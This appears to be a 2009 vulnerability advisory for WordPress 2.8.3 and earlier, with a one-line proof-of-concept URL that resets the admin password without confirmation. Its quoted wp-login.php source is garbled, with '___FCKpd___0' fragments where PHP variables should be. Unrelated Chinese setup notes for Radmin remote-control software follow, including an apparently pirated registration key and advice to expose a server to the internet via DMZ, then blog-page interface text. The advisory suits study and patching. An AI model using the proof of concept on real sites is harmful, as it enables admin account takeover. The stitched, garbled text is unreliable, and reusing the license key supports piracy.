2.8.3 Remote Admin Reset Password

 I. VULNERABILITY
-------------------------
WordPress <= 2.8.3 Remote admin reset password

II. BACKGROUND
-------------------------
WordPress is a state-of-the-art publishing platform with a focus on
aesthetics, web standards, and usability. WordPress is both free and
priceless at the same time. More simply, WordPress is what you use when
you want to work with your blogging software, not fight it.

III. DESCRIPTION
-------------------------
The way Wordpress handle a password reset looks like this:
You submit your email adress or username via this form /wp-login.php?action=lostpassword ;
Wordpress send you a reset confirmation like that via email:

"
Someone has asked to reset the password for the following site and username.
http://DOMAIN_NAME.TLD/wordpress
Username: admin
To reset your password visit the following address, otherwise just
ignore this email and nothing will happen

http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&key=o7naCKN3OoeU2KJMMsag
"

You click on the link, and then Wordpress reset your admin password, and
sends you over another email with your new credentials.

Let's see how it works:


wp-login.php:
...[snip]....
line 186:
function reset_password($key) {
    global $wpdb;

    $key = preg_replace('/[^a-z0-9]/i', '', $key);

    if ( empty( $key ) )
        return new WP_Error('invalid_key', __('Invalid key'));

    $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));
    if ( empty( $user ) )
        return new WP_Error('invalid_key', __('Invalid key'));
...[snip]....
line 276:
$action = isset(

___FCKpd___0


REQUEST['action']) ?

___FCKpd___0


REQUEST['action'] : 'login';
$errors = new WP_Error();

if ( isset(

___FCKpd___0


GET['key']) )
    $action = 'resetpass';

// validate action so as to default to the login screen
if ( !in_array($action, array('logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login')) && false === has_filter('login_form_' . $action) )
    $action = 'login';
...[snip]....

line 370:

break;

case 'resetpass' :
case 'rp' :
    $errors = reset_password(

___FCKpd___0


GET['key']);

    if ( ! is_wp_error($errors) ) {
        wp_redirect('wp-login.php?checkemail=newpass');
        exit();
    }

    wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');
    exit();

break;
...[snip ]...

You can abuse the password reset function, and bypass the first step and
then reset the admin password by submiting an array to the $key
variable.


IV. PROOF OF CONCEPT
-------------------------
A web browser is sufficiant to reproduce this Proof of concept:
http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]=
The password will be reset without any confirmation.

V. BUSINESS IMPACT
-------------------------
An attacker could exploit this vulnerability to compromise the admin
account of any wordpress/wordpress-mu <= 2.8.3

VI. SYSTEMS AFFECTED
-------------------------
All

VII. SOLUTION
-------------------------
No patch aviable for the moment.

VIII. REFERENCES
-------------------------
http://www.wordpress.org

IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié Laurent.gaffie{remove-this}(at)gmail.com
I'd like to shoot some greetz to securityreason.com for them great
research on PHP, as for this under-estimated vulnerability discovered by
Maksymilian Arciemowicz : http://securityreason.com/achievement_securityalert/38

X. REVISION HISTORY
-------------------------
August 10th, 2009: Initial release

XI. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
最好的远程控制工具.全面控制,非常完美。 remote radmin 软件安装 1.服务端-radmin22需安装在客户服务器上,重启电脑注册软件。 建议客户服务器安装双网卡(用于酒店系统局域网和客户远程维护)。 2.radmin22安装后,在windows开始程序中,使用‘Settings for Remote Administrator server’设置服务端 1)'Startup Mode' -启动模式,其中Automatic-电脑启动自动运行(默认),Manual-手动运行。 2)'Set Password' -设置客户端RadminViewer3.0访问服务端登入的密码,密码共8位,可设酒店简称(如天天笑酒楼-ttxjl,不足8位0添补,多余则舍去)。 3)'Options' -选项设置,只需设置Port项,Use Default Port复选项勾舍去,手工设置端口3000. 4)注册码- 08Rc+SqPTXOQabByH6b9KI7Jn7Hn0jSUgpa+fXGSToxu4krbL25vq7tzMq-90AHwbrqHDBbPtOyH1zdlienxLX32 2.客户端-RadminViewer3.0是绿色软件,无需注册,直接运行Radmin.exe远维操作。 1)建立连接,项目名称(设为客户酒店简称),IP地址为客户网络公网IP(如客户不清楚,可让客户登入www.ip138.com查询),连接端口为3000. 2)登入时需密码访问,密码共8位,可设酒店简称(如天天笑酒楼-ttxjl,不足8位0添补,多余则舍去)。 3.客户酒店电脑局域网ip要映射到公网ip,需使用路由器(一般宽带路由器就行)DMZ主机设置功能,如客户服务器双网卡(192.168.0.1和192.168.0.x), 将ip(192.168.0.x)映射公网即可。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值